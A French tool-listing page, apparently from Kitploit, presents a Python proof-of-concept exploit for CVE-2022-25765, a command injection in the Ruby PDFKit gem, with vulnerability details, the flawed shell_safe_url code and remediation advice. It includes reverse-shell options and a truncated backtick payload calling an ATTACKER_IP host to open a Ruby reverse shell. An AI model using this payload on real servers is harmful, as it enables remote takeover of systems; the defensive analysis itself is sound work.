Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !
CVE-2022-25765 — Exploit PoC Python pour CVE-2022-25765, une injection de commandes critique dans PDFKit. Génère un shell inverse via des paramètres d'URL non assainis transmis à wkhtmltopdf. Inclut des instructions d'utilisation et une analyse technique de la vulnérabilité. | Kitploit
Exploit PoC Python pour CVE-2022-25765, une injection de commandes critique dans PDFKit. Génère un shell inverse via des paramètres d'URL non assainis transmis à wkhtmltopdf. Inclut des instructions d'utilisation et une analyse technique de la vulnérabilité.
-l, --lhost : Votre adresse IP pour la connexion du shell inversé
-p, --lport : Votre port pour la connexion du shell inversé (doit correspondre à votre écouteur netcat)
Informations sur la vulnérabilité
ID CVE : CVE-2022-25765
Score CVSS v3.1 : 9.8 (Critique)
Score EPSS : 71,381% (99e percentile)
CWE : CWE-77 - Neutralisation incorrecte des éléments spéciaux utilisés dans une commande
Versions affectées
Vulnérable : PDFKit 0.0.0 - 0.8.6
Corrigé : PDFKit 0.8.7.2+
Description
PDFKit est une gemme Ruby qui convertit du HTML en PDF à l'aide de l'outil en ligne de commande wkhtmltopdf. La vulnérabilité réside dans la façon dont PDFKit gère les paramètres d'URL avant de les transmettre aux commandes système du shell pour la génération de PDF.
Détails techniques
La vulnérabilité se trouve dans lib/pdfkit/source.rb où la désinfection d'URL est mal implémentée :
root@kitploit:~
def shell_safe_url
url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end
Le problème :
PDFKit utilise une logique défectueuse pour déterminer si une URL nécessite un échappement
Les métacaractères de shell (backticks, points-virgules, pipes, etc.) peuvent contourner cette vérification
Les URL non désinfectées sont transmises directement aux commandes shell qui invoquent wkhtmltopdf
Les attaquants peuvent injecter des commandes arbitraires qui s'exécutent sur le serveur
Vecteur d'attaque :
Complexité : Faible
Privilèges requis : Aucun
Interaction de l'utilisateur : Aucune
Accès réseau : Requis
Comment cet exploit fonctionne
Ce PoC exploite la vulnérabilité en :
Injectant une URL malveillante contenant une substitution de commande par backtick
Le payload : http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'
PDFKit ne parvient pas à désinfecter les backticks dans le paramètre d'URL
Lorsque wkhtmltopdf traite l'URL, le shell exécute le shell inversé Ruby
Le système cible se reconnecte à l'écouteur de l'attaquant
Impact
Confidentialité : Élevée - Accès complet au système
Intégrité : Élevée - Capacité de modifier n'importe quel fichier
Disponibilité : Élevée - Risque de perturbation du système
Prérequis pour une exploitation réussie
Sur le système cible :
Version vulnérable de PDFKit (< 0.8.7.2)
Ruby installé (requis pour le payload du shell inversé)
L'application accepte des URL contrôlées par l'utilisateur transmises à PDFKit
Aucun filtrage de sortie bloquant les connexions sortantes
Remédiation
Mettre à jour PDFKit vers la version 0.8.7.2 ou ultérieure
Validation des entrées : Mettre en œuvre une liste blanche stricte pour les entrées d'URL
Sandboxing : Exécuter les processus PDFKit dans des conteneurs isolés avec des privilèges minimaux
Segmentation réseau : Restreindre les connexions sortantes des services de génération de PDF
Règles WAF : Déployer des règles pour détecter les métacaractères de shell dans les paramètres d'URL